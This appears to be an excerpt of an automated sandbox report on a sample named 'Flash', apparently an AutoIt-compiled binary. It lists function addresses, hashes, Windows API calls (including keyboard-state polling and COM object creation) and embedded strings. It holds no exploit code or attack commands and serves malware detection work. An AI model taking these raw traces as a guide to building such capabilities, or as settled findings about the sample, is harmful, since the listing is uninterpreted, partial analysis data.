Opcode Fuzzy Hash: 71bda0540794d769d0faa3c2e3deabc66436fdad72b90d25af55d9608b5ab5b0
Instruction Fuzzy Hash: DD41B731144244AFDB219F689888FB93765EB2A331F548363FD668A2E5D7708C82DB21

Function 009E29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 009F0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,009E2A3E,?,00008000), ref: 009F0BA7

Part of subcall function 009F0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E2A58,?,00008000), ref: 009F02A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 009E2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 009E2C2C

Part of subcall function 009E3EBE: _wcscpy.LIBCMT ref: 009E3EF6

Part of subcall function 009F386D: _iswctype.LIBCMT ref: 009F3875

Strings

Bad directive syntax error, xrefs: 00A2008F
Error opening the file, xrefs: 00A1FD33, 00A1FDAA
EA06, xrefs: 00A1FD48
AU3!, xrefs: 009E2A93
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00A1FD17
Unterminated string, xrefs: 00A200D6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 1c2ac44ee3df9499d5f9eb3b688f2a11fcf211158ba831009cc91823abdc99f5
Instruction ID: d15f46d286937fab9ebb71cd79bd237b6089553b63ca6b7cb98e23e239e847f6
Opcode Fuzzy Hash: 1c2ac44ee3df9499d5f9eb3b688f2a11fcf211158ba831009cc91823abdc99f5
Instruction Fuzzy Hash: 4002AE301083819FC725EF25C941AAFBBE9AFD9354F14492DF599932A2DB30DD89CB42

Function 00A3AEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00A60980), ref: 00A3AF4E
GetDriveTypeW.KERNEL32(00000061,00A8B5F0,00000061), ref: 00A3B018
_wcscpy.LIBCMT ref: 00A3B042

Strings

network, xrefs: 00A3AFAC
unknown, xrefs: 00A3AFD9
all, xrefs: 00A3AF54
removable, xrefs: 00A3AF80
fixed, xrefs: 00A3AF96
ramdisk, xrefs: 00A3AFC2
cdrom, xrefs: 00A3AF6A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: a62a3006c9541960f53704cf103b09f23450a00ae50ce32af4a0ae13841b7783
Instruction ID: c211db3e6a8b5c9fbe32929e881d51ab19021ba6e137d8843a37397dbafe99fd
Opcode Fuzzy Hash: a62a3006c9541960f53704cf103b09f23450a00ae50ce32af4a0ae13841b7783
Instruction Fuzzy Hash: 19519B701583159BC314EF14C892BABB7AAEFD4700F50882DF596572E2EB71AD09CB62

Function 009D4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 009D4D62
__swprintf.LIBCMT ref: 009D4DAC
__i64tow.LIBCMT ref: 00A0DB3B

Strings

True, xrefs: 00A0DAFC
0x%p, xrefs: 00A0DB1D
%.15g, xrefs: 009D4DA6
False, xrefs: 00A0DB03

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 14bbf3803d51f93f9834ba536c06feafb00f087b1256bbed6876d056704aec1e
Instruction ID: a89dea40dc555ea789c2b124636c7f1e4783b877da707f0c699c0c3152b35326
Opcode Fuzzy Hash: 14bbf3803d51f93f9834ba536c06feafb00f087b1256bbed6876d056704aec1e
Instruction Fuzzy Hash: B641C57264420DAFDB24DF74D842F7A73E9EB85340F20886EE149DB2D2EA35A941CB11

Function 00A57777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A5778F
CreateMenu.USER32 ref: 00A577AA
SetMenu.USER32(?,00000000), ref: 00A577B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A57846
IsMenu.USER32(?), ref: 00A5785C
CreatePopupMenu.USER32 ref: 00A57866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A57893
DrawMenuBar.USER32 ref: 00A5789B

Strings

0, xrefs: 00A57785
F, xrefs: 00A57887

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 6fceeabe7c63c25defa292542bfe0bf7b00a9a7aa114135a63bf9fdb9421b1ca
Instruction ID: 44ae1a7151898dec34ac522dae656cc9c55632ebedc46c8eaaabdc08510625ed
Opcode Fuzzy Hash: 6fceeabe7c63c25defa292542bfe0bf7b00a9a7aa114135a63bf9fdb9421b1ca
Instruction Fuzzy Hash: 8F414774A00209EFDB10DFA4E888E9ABBB5FF49311F184429FD46A7360D770A955CF60

Function 00A57AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00A57B83
CreateCompatibleDC.GDI32(00000000), ref: 00A57B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00A57B9D
SelectObject.GDI32(00000000,00000000), ref: 00A57BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00A57BB0
DeleteDC.GDI32(00000000), ref: 00A57BB9
GetWindowLongW.USER32(?,000000EC), ref: 00A57BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00A57BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00A57BE3

Strings

static, xrefs: 00A57B1B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: ef2ad0dc56b472f7842115183f27b9eab8920735aa038c03e3975bd1482393cb
Instruction ID: ead90622b04d9a9c0606c6bbe032efa16cc07967387ff1f41f3d404d2f42bac9
Opcode Fuzzy Hash: ef2ad0dc56b472f7842115183f27b9eab8920735aa038c03e3975bd1482393cb
Instruction Fuzzy Hash: FA318A32104218ABDF129FA4EC49FDF3B79FF09321F110215FA16A61A0C7B1D865DBA4

Function 009F7030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009F706B

Part of subcall function 009F8D58: __getptd_noexit.LIBCMT ref: 009F8D58

__gmtime64_s.LIBCMT ref: 009F7104
__gmtime64_s.LIBCMT ref: 009F713A
__gmtime64_s.LIBCMT ref: 009F7157
__allrem.LIBCMT ref: 009F71AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009F71C9
__allrem.LIBCMT ref: 009F71E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009F71FE
__allrem.LIBCMT ref: 009F7215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009F7233
__invoke_watson.LIBCMT ref: 009F72A4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: b50c748c5eee3f1fdfa16526c1545a2034bb4d2e0fbe581a63079c03a9d878eb
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: CF71D972A0471FABE7149EB9DC41BBAF3ADAF54320F144229F614E72C1EB70D9548790

Function 00A32CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A32CE9
GetMenuItemInfoW.USER32(00A97890,000000FF,00000000,00000030), ref: 00A32D4A
SetMenuItemInfoW.USER32(00A97890,00000004,00000000,00000030), ref: 00A32D80
Sleep.KERNEL32(000001F4), ref: 00A32D92
GetMenuItemCount.USER32(?), ref: 00A32DD6
GetMenuItemID.USER32(?,00000000), ref: 00A32DF2
GetMenuItemID.USER32(?,-00000001), ref: 00A32E1C
GetMenuItemID.USER32(?,?), ref: 00A32E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A32EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A32EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A32EDC

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 2d5d58641ebfa667a9cba58820b52df4f5d8ea028edcf672cc249dc11aac8c49
Instruction ID: 923e21e08a137f7e2429ebdd18a232024d1dac406aa160e355c3a578159e63c9
Opcode Fuzzy Hash: 2d5d58641ebfa667a9cba58820b52df4f5d8ea028edcf672cc249dc11aac8c49
Instruction Fuzzy Hash: 32618A70900249AFEB21CFA4CD89FAEBFB9EB41344F24445AF841A7291D771AD46DB21

Function 00A57548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00A575CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00A575CD
GetWindowLongW.USER32(?,000000F0), ref: 00A575F1
_memset.LIBCMT ref: 00A57602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A57614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00A5768C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: bb9299d8be224c5a1bc2500662717a86dcb190d669b4696c5ced61922a6a57cd
Instruction ID: d72bbcce8f9d5c57aa6aa333e456c2038e89ae3a0204999d2b0d963cc4567386
Opcode Fuzzy Hash: bb9299d8be224c5a1bc2500662717a86dcb190d669b4696c5ced61922a6a57cd
Instruction Fuzzy Hash: DD618B75A04208AFDB10DFA4DD81EEE77F8FB09710F10419AFA15A72A1D770AD46DB60

Function 00A277B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00A277DD
SafeArrayAllocData.OLEAUT32(?), ref: 00A27836
VariantInit.OLEAUT32(?), ref: 00A27848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00A27868
VariantCopy.OLEAUT32(?,?), ref: 00A278BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00A278CF
VariantClear.OLEAUT32(?), ref: 00A278E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00A278F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00A278FA
VariantClear.OLEAUT32(?), ref: 00A2790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00A27917

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: ee4406d4eb91066353461e0a2364634968fbde88270f417bf66f958ad396232b
Instruction ID: 59311da1a9ec6adce3966d65f1f95fd3e9650ee3921a5b15a7e410a48c27eb92
Opcode Fuzzy Hash: ee4406d4eb91066353461e0a2364634968fbde88270f417bf66f958ad396232b
Instruction Fuzzy Hash: A1417835A00219DFCB14DFA8D848DAE7BB9FF48350F008479E955A7261CB70AA86CF90

Function 00A30508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00A30530
GetAsyncKeyState.USER32(000000A0), ref: 00A305B1
GetKeyState.USER32(000000A0), ref: 00A305CC
GetAsyncKeyState.USER32(000000A1), ref: 00A305E6
GetKeyState.USER32(000000A1), ref: 00A305FB
GetAsyncKeyState.USER32(00000011), ref: 00A30613
GetKeyState.USER32(00000011), ref: 00A30625
GetAsyncKeyState.USER32(00000012), ref: 00A3063D
GetKeyState.USER32(00000012), ref: 00A3064F
GetAsyncKeyState.USER32(0000005B), ref: 00A30667
GetKeyState.USER32(0000005B), ref: 00A30679

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 20bc64d89b4019afa5aed871d9ba0717a4a64e42d7f0fc2a6b0ba6af1fe841f9
Instruction ID: 8695450625e188f3ac9ef7d81ef1ea20e8f53d0399f05591606e31fea593bd04
Opcode Fuzzy Hash: 20bc64d89b4019afa5aed871d9ba0717a4a64e42d7f0fc2a6b0ba6af1fe841f9
Instruction Fuzzy Hash: 8141C8305047CA6DFF3187648825BB6BEB06B51704F08805EF5C6875C1EBE899D8CFA2

Function 00A48AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

CoInitialize.OLE32 ref: 00A48AED
CoUninitialize.OLE32 ref: 00A48AF8
CoCreateInstance.OLE32(?,00000000,00000017,00A63BBC,?), ref: 00A48B58
IIDFromString.OLE32(?,?), ref: 00A48BCB
VariantInit.OLEAUT32(?), ref: 00A48C65
VariantClear.OLEAUT32(?), ref: 00A48CC6

Strings

NULL Pointer assignment, xrefs: 00A48B9D
Failed to create object, xrefs: 00A48B63, 00A48C19
Invalid parameter, xrefs: 00A48BE4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: b66654c4a71674d2b2b44091ee4c713f75c1318aab0de8ccb9ee49d0f1381016
Instruction ID: 560d0b16d79e133b725f30680f9d1ac8e92a06e7929a25b9967ae3dd53d627ef
Opcode Fuzzy Hash: b66654c4a71674d2b2b44091ee4c713f75c1318aab0de8ccb9ee49d0f1381016
Instruction Fuzzy Hash: 0B619D74608711AFC710DF54E889F6EBBE8EF84714F004819F9819B291CB78ED49CBA2

Function 00A3BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A3BB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00A3BB89
GetLastError.KERNEL32 ref: 00A3BB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00A3BC00

Strings

NOTREADY, xrefs: 00A3BBBF
INVALID, xrefs: 00A3BBD2
READY, xrefs: 00A3BBD9
READONLY, xrefs: 00A3BBCB
UNKNOWN, xrefs: 00A3BBB8

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: b5ee7c7fa2401c6fc11696e6bee4fa305abe891e01b30926287934cadf3b6f33
Instruction ID: f35c8f289035cd4b9793ca80bd6811c39c521c438778a76add4180d16b9e6e34
Opcode Fuzzy Hash: b5ee7c7fa2401c6fc11696e6bee4fa305abe891e01b30926287934cadf3b6f33
Instruction Fuzzy Hash: F431B435A10209AFCB10EF68C855EAEB7B9EF44700F14856AF606D7295DF709D41CB60

Function 00A29B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A2B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00A2B7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00A29BCC
GetDlgCtrlID.USER32 ref: 00A29BD7
GetParent.USER32 ref: 00A29BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00A29BF6
GetDlgCtrlID.USER32(?), ref: 00A29BFF
GetParent.USER32(?), ref: 00A29C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00A29C1E

Strings

ComboBox, xrefs: 00A29B54
ListBox, xrefs: 00A29B89

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 3941757da9adb030f3c37c3c4b36d8b8f4640a6ce9bd0a4d20dcd87736f60f39
Instruction ID: 1edde67e3b34af75396c54e18853512f13d001e59af7cabca1ef5598f03813ba
Opcode Fuzzy Hash: 3941757da9adb030f3c37c3c4b36d8b8f4640a6ce9bd0a4d20dcd87736f60f39
Instruction Fuzzy Hash: 1621CF74A00114BFDF04EBA5DC95EFFBBB9EF95310F100126F961932A1DBB548659B20

Function 00A29C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A2B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00A2B7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00A29CB5
GetDlgCtrlID.USER32 ref: 00A29CC0
GetParent.USER32 ref: 00A29CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00A29CDF
GetDlgCtrlID.USER32(?), ref: 00A29CE8
GetParent.USER32(?), ref: 00A29D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00A29D07

Strings

ComboBox, xrefs: 00A29C3F
ListBox, xrefs: 00A29C74

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 0d5349454c0cb46169673446412eee81b66758d180c0b17a4c327e7025cdcd90
Instruction ID: d8070d63dbbb6b75363f5451f0e97e8799d67e2e7507fb31ccab2bab4e10bcee
Opcode Fuzzy Hash: 0d5349454c0cb46169673446412eee81b66758d180c0b17a4c327e7025cdcd90
Instruction Fuzzy Hash: 0321D075A01114BFDF04EBA5CC85EFFBBB9EF94300F100022F961932A1DBB589659B20

Function 00A48F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A48FC1
CoInitialize.OLE32(00000000), ref: 00A48FEE
CoUninitialize.OLE32 ref: 00A48FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 00A490F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00A49225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00A63BDC), ref: 00A49259
CoGetObject.OLE32(?,00000000,00A63BDC,?), ref: 00A4927C
SetErrorMode.KERNEL32(00000000), ref: 00A4928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A4930F
VariantClear.OLEAUT32(?), ref: 00A4931F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

